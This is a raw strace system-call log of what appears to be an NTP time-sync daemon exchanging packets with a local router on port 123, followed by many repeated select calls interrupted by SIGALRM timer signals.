12928 sendto(19, "#\3\6\351\0\0\17\212\0\0\370l\300\250\262\1\324%\264\374\321\233o:\324%\264\376\321\220(\27"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\243\203\274\3\335\324%\264[\27\307`O\324%\265\0\321c\305%"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "#\3\6\351\0\0\17\212\0\0\370\244\300\250\262\1\324%\264\374\321\233o:\324%\265\0\321\214[\3"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\311\203\274\3\335\324%\264[\27\307`O\324%\2659\321c\362\353"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
